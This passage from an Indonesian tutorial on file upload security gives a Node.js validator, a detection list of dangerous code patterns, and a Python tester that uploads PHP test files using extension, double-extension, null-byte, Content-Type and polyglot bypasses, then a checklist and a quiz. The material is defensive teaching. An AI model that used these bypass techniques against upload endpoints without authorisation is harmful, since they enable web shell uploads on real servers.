# allow_url_fopen = Off           # Disable remote file inclusion
# allow_url_include = Off         # Disable remote include

7. Implementasi Praktis

Berikut adalah implementasi lengkap sistem upload yang aman menggunakan Node.js/Express yang dapat langsung digunakan.

Node.js β€” Complete Secure Upload System
// ===== COMPLETE SECURE UPLOAD SYSTEM (Node.js/Express) =====

const express = require('express');
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs').promises;

// ===== KONFIGURASI =====
const UPLOAD_DIR = '/data/uploads';  // Di luar web root!
const MAX_FILE_SIZE = 10 * 1024 * 1024;  // 10MB
const ALLOWED_MIMES = {
    'image/jpeg': { ext: 'jpg', maxSize: 5 * 1024 * 1024 },
    'image/png':  { ext: 'png', maxSize: 5 * 1024 * 1024 },
    'image/gif':  { ext: 'gif', maxSize: 2 * 1024 * 1024 },
    'image/webp': { ext: 'webp', maxSize: 5 * 1024 * 1024 },
    'application/pdf': { ext: 'pdf', maxSize: 10 * 1024 * 1024 },
};

// Magic numbers untuk validasi
const MAGIC_NUMBERS = {
    'image/jpeg': [Buffer.from([0xFF, 0xD8, 0xFF])],
    'image/png':  [Buffer.from([0x89, 0x50, 0x4E, 0x47])],
    'image/gif':  [
        Buffer.from('GIF87a'),
        Buffer.from('GIF89a')
    ],
    'application/pdf': [Buffer.from('%PDF')],
};

// ===== MULTER SETUP =====
const storage = multer.diskStorage({
    destination: async (req, file, cb) => {
        const userDir = path.join(UPLOAD_DIR, 'temp');
        await fs.mkdir(userDir, { recursive: true });
        cb(null, userDir);
    },
    filename: (req, file, cb) => {
        // Nama sementara, akan di-rename setelah validasi
        const tempName = crypto.randomBytes(16).toString('hex');
        cb(null, tempName);
    }
});

const upload = multer({
    storage,
    limits: {
        fileSize: MAX_FILE_SIZE,
        files: 5,
        fieldNameSize: 100,
        fieldSize: 1024
    },
    fileFilter: (req, file, cb) => {
        // Pre-check: Content-Type
        if (!ALLOWED_MIMES[file.mimetype]) {
            return cb(new Error('Tipe file tidak diizinkan'), false);
        }
        cb(null, true);
    }
});

// ===== VALIDATION MIDDLEWARE =====
async function validateUploadedFile(req, res, next) {
    if (!req.file) {
        return res.status(400).json({ error: 'File tidak ditemukan' });
    }

    try {
        const filePath = req.file.path;
        const fileData = await fs.readFile(filePath);
        const errors = [];

        // 1. Magic number validation
        const expectedMime = req.file.mimetype;
        const magicSigs = MAGIC_NUMBERS[expectedMime] || [];
        const magicValid = magicSigs.some(sig =>
            fileData.slice(0, sig.length).equals(sig)
        );

        if (!magicValid) {
            errors.push('Magic number tidak sesuai Content-Type');
        }

        // 2. Scan untuk pola berbahaya
        const dangerousPatterns = [
            Buffer.from('<?php'),
            Buffer.from('<?='),
            Buffer.from('<script'),
            Buffer.from('<%'),
            Buffer.from('eval('),
            Buffer.from('exec('),
            Buffer.from('system('),
            Buffer.from('shell_exec'),
            Buffer.from('passthru'),
        ];

        for (const pattern of dangerousPatterns) {
            if (fileData.includes(pattern)) {
                errors.push(`File mengandung pola berbahaya`);
                break;
            }
        }

        // 3. Image validation (jika gambar)
        if (expectedMime.startsWith('image/')) {
            // Gunakan sharp untuk validasi gambar
            try {
                const sharp = require('sharp');
                const metadata = await sharp(fileData).metadata();
                if (metadata.width > 10000 || metadata.height > 10000) {
                    errors.push('Dimensi gambar terlalu besar');
                }
            } catch (e) {
                errors.push('File gambar tidak valid atau corrupt');
            }
        }

        // 4. Handle errors
        if (errors.length > 0) {
            await fs.unlink(filePath);  // Hapus file invalid
            return res.status(400).json({
                error: 'File tidak valid',
                details: errors
            });
        }

        // 5. Generate nama final yang aman
        const mimeInfo = ALLOWED_MIMES[expectedMime];
        const finalName = `${crypto.randomBytes(16).toString('hex')}.${mimeInfo.ext}`;
        const finalPath = path.join(UPLOAD_DIR, finalName);

        await fs.rename(filePath, finalPath);

        req.uploadedFile = {
            originalName: req.file.originalname,
            storedName: finalName,
            path: finalPath,
            mimeType: expectedMime,
            size: fileData.length,
            md5: crypto.createHash('md5').update(fileData).digest('hex')
        };

        next();

    } catch (error) {
        // Cleanup on error
        try { await fs.unlink(req.file.path); } catch {}
        next(error);
    }
}

// ===== ROUTES =====
const router = express.Router();

router.post('/upload',
    upload.single('file'),
    validateUploadedFile,
    async (req, res) => {
        // Simpan metadata ke database
        const fileId = crypto.randomBytes(8).toString('hex');
        
        // db.saveFile({
        //     id: fileId,
        //     originalName: req.uploadedFile.originalName,
        //     storedName: req.uploadedFile.storedName,
        //     mimeType: req.uploadedFile.mimeType,
        //     size: req.uploadedFile.size,
        //     md5: req.uploadedFile.md5,
        //     uploadedBy: req.user.id,
        //     uploadedAt: new Date(),
        //     scanStatus: 'clean'
        // });

        res.json({
            success: true,
            fileId: fileId,
            message: 'File berhasil diupload'
        });
    }
);

module.exports = router;

8. Testing & Audit Keamanan Upload

Testing keamanan upload harus dilakukan secara rutin untuk memastikan pertahanan tetap efektif terhadap teknik bypass terbaru.

Testing β€” Automated Upload Security Tests
# ===== AUTOMATED UPLOAD SECURITY TESTING =====

import requests
import os
import tempfile

class UploadSecurityTester:
    def __init__(self, target_url, session=None):
        self.target_url = target_url
        self.session = session or requests.Session()
        self.results = []

    def test_extension_bypass(self):
        """Test berbagai teknik extension bypass"""
        print("\n[*] Testing Extension Bypass...")
        
        # PHP shells dengan berbagai ekstensi
        malicious_extensions = [
            'php', 'php3', 'php4', 'php5', 'php7', 'phtml',
            'pht', 'phar', 'phps', 'inc',
            'asp', 'aspx', 'asa', 'cer', 'cdx', 'ashx',
            'jsp', 'jspx', 'jsw', 'jsv', 'war',
            'htaccess', 'shtml', 'cgi', 'pl', 'py'
        ]
        
        for ext in malicious_extensions:
            # Buat file dummy
            content = f"<?php echo 'test_{ext}'; ?>".encode()
            files = {'file': (f'test.{ext}', content, 'application/octet-stream')}
            
            try:
                resp = self.session.post(self.target_url, files=files)
                if resp.status_code == 200 and 'error' not in resp.text.lower():
                    self.results.append({
                        'test': f'Extension Bypass (.{ext})',
                        'result': 'VULNERABLE',
                        'severity': 'CRITICAL'
                    })
                    print(f"  [!] VULNERABLE: .{ext} accepted!")
                else:
                    print(f"  [+] Blocked: .{ext}")
            except Exception as e:
                print(f"  [-] Error testing .{ext}: {e}")

    def test_double_extension(self):
        """Test double extension bypass"""
        print("\n[*] Testing Double Extension...")
        
        double_exts = [
            'shell.php.jpg', 'shell.php.png', 'shell.php.gif',
            'shell.asp.jpg', 'shell.jsp.png',
            'shell.php%00.jpg', 'shell.php\x00.jpg',
            'shell.pHp', 'shell.PhP', 'shell.PHP',
            'shell.php.', 'shell.php ', 'shell.php::$DATA',
        ]
        
        for filename in double_exts:
            content = b"<?php echo 'bypass'; ?>"
            safe_name = filename.replace('\x00', '_NULL_')
            files = {'file': (safe_name, content, 'image/jpeg')}
            
            try:
                resp = self.session.post(self.target_url, files=files)
                if resp.status_code == 200:
                    self.results.append({
                        'test': f'Double Extension ({safe_name})',
                        'result': 'ACCEPTED',
                        'severity': 'HIGH'
                    })
                    print(f"  [!] ACCEPTED: {safe_name}")
                else:
                    print(f"  [+] Blocked: {safe_name}")
            except:
                pass

    def test_content_type_bypass(self):
        """Test Content-Type bypass"""
        print("\n[*] Testing Content-Type Bypass...")
        
        content = b"<?php echo 'content_type_bypass'; ?>"
        content_types = [
            'image/jpeg', 'image/png', 'image/gif',
            'text/plain', 'application/pdf'
        ]
        
        for ct in content_types:
            files = {'file': ('shell.php', content, ct)}
            try:
                resp = self.session.post(self.target_url, files=files)
                if resp.status_code == 200:
                    self.results.append({
                        'test': f'Content-Type Bypass ({ct})',
                        'result': 'ACCEPTED',
                        'severity': 'HIGH'
                    })
                    print(f"  [!] ACCEPTED with Content-Type: {ct}")
            except:
                pass

    def test_polyglot_file(self):
        """Test polyglot file (valid image + embedded code)"""
        print("\n[*] Testing Polyglot Files...")
        
        # JPEG header + PHP code
        jpeg_php = b'\xFF\xD8\xFF\xE0' + b'\x00' * 20 + b'<?php echo "polyglot"; ?>'
        files = {'file': ('polyglot.php.jpg', jpeg_php, 'image/jpeg')}
        
        try:
            resp = self.session.post(self.target_url, files=files)
            if resp.status_code == 200:
                self.results.append({
                    'test': 'Polyglot File (JPEG+PHP)',
                    'result': 'ACCEPTED',
                    'severity': 'CRITICAL'
                })
                print("  [!] Polyglot ACCEPTED!")
        except:
            pass

    def generate_report(self):
        """Generate laporan hasil testing"""
        print("\n" + "=" * 60)
        print("LAPORAN UPLOAD SECURITY TEST")
        print("=" * 60)
        
        vuln_count = sum(1 for r in self.results if r['result'] == 'VULNERABLE')
        accepted_count = sum(1 for r in self.results if r['result'] == 'ACCEPTED')
        
        print(f"\nTotal Tests: {len(self.results)}")
        print(f"Vulnerable: {vuln_count}")
        print(f"Accepted (needs review): {accepted_count}")
        
        for r in self.results:
            print(f"\n  [{r['severity']}] {r['test']}: {r['result']}")
        
        return self.results

# ===== JALANKAN TESTING =====
# tester = UploadSecurityTester('https://target.com/api/upload')
# tester.test_extension_bypass()
# tester.test_double_extension()
# tester.test_content_type_bypass()
# tester.test_polyglot_file()
# tester.generate_report()

9. Best Practices & Checklist

πŸ“‹ Checklist Keamanan File Upload
  1. Validasi di Server-Side β€” Jangan pernah mengandalkan validasi client-side saja
  2. Whitelist Ekstensi β€” Gunakan whitelist, bukan blocklist
  3. Validasi Magic Number β€” Periksa file signature, bukan hanya ekstensi
  4. Rename File β€” Gunakan UUID/random, jangan gunakan nama asli
  5. Validasi Ukuran β€” Batasi ukuran file di server
  6. Malware Scanning β€” Scan dengan ClamAV/YARA sebelum menyimpan
  7. Non-executable Storage β€” Simpan di luar web root, nonaktifkan eksekusi
  8. Dedicated Domain β€” Serve file dari domain/origin terpisah
  9. Content Security Policy β€” Implement CSP headers
  10. Rate Limiting β€” Batasi jumlah upload per user per waktu
  11. Logging & Monitoring β€” Log semua aktivitas upload
  12. Regular Testing β€” Audit keamanan upload secara berkala
Cheat Sheet β€” Upload Security Quick Reference
# ===== UPLOAD SECURITY CHEAT SHEET =====

# ---- LAYER 1: INPUT VALIDATION ----
βœ“ Whitelist ekstensi (bukan blocklist)
βœ“ Validasi Content-Type (tapi JANGAN hanya ini!)
βœ“ Validasi magic number / file signature
βœ“ Validasi ukuran file (max limit)
βœ“ Sanitize filename (hapus karakter berbahaya)

# ---- LAYER 2: CONTENT SCANNING ----
βœ“ ClamAV / antivirus scanning
βœ“ YARA rules untuk custom detection
βœ“ Image validation (PIL/Sharp verify)
βœ“ Scan embedded scripts dalam file
βœ“ Check EXIF data

# ---- LAYER 3: STORAGE SECURITY ----
βœ“ Simpan DI LUAR web root
βœ“ Gunakan UUID/random filenames
βœ“ Set permission non-executable (chmod 644)
βœ“ Encrypt sensitive files (AES-256)
βœ“ Separate storage per file type

# ---- LAYER 4: SERVING SECURITY ----
βœ“ Serve via application (bukan direct access)
βœ“ Force Content-Disposition: attachment
βœ“ Dedicated domain/subdomain untuk files
βœ“ Disable script execution di upload dir
βœ“ Set security headers (CSP, X-Content-Type)

# ---- LAYER 5: MONITORING ----
βœ“ Log semua upload attempts (success + fail)
βœ“ Alert pada pola mencurigakan
βœ“ Rate limiting per user/IP
βœ“ Regular security audit
βœ“ Incident response plan

# ===== COMMON MISTAKES TO AVOID =====
βœ— Hanya cek ekstensi file (mudah di-bypass)
βœ— Hanya cek Content-Type header (client bisa palsukan)
βœ— Simpan di dalam web root
βœ— Gunakan nama file asli dari user
βœ— Tidak ada limit ukuran file
βœ— Tidak ada malware scanning
βœ— Client-side validation saja
βœ— Tidak logging aktivitas upload

10. Quiz Pemahaman

Uji pemahaman Anda tentang File Upload Security:

Pertanyaan 1: Mengapa validasi Content-Type header saja TIDAK cukup untuk keamanan upload?

a) Karena Content-Type tidak ada artinya
b) Karena Content-Type dikirim oleh client dan dapat dipalsukan dengan mudah
c) Karena semua Content-Type aman
d) Karena server tidak membaca Content-Type

Pertanyaan 2: Apa yang dimaksud dengan "magic number" dalam validasi file?

a) Password rahasia untuk membuka file
b) Byte pertama dari file yang mengidentifikasi tipe file
c) Ukuran file dalam bytes
d) Nama file yang dienkripsi

Pertanyaan 3: Mengapa file upload sebaiknya disimpan DI LUAR web root?

a) Agar file lebih cepat diakses
b) Agar file tidak dapat langsung dieksekusi oleh web server
c) Agar file tidak bisa didownload
d) Agar server tidak perlu backup

Pertanyaan 4: Metode mana yang lebih aman untuk filter ekstensi file?

a) Blocklist (daftar ekstensi yang DILARANG)
b) Whitelist (daftar ekstensi yang DIIZINKAN)
c) Tidak perlu filter sama sekali
d) Filter hanya di sisi client

Pertanyaan 5: Apa tujuan menggunakan nama file random (UUID) saat menyimpan file upload?

a) Agar file lebih mudah ditemukan
b) Mencegah path traversal, overwrite, dan akses langsung ke file
c) Menghemat disk space
d) Mempercepat proses upload
πŸ” Zoom
100%
🎨 Tema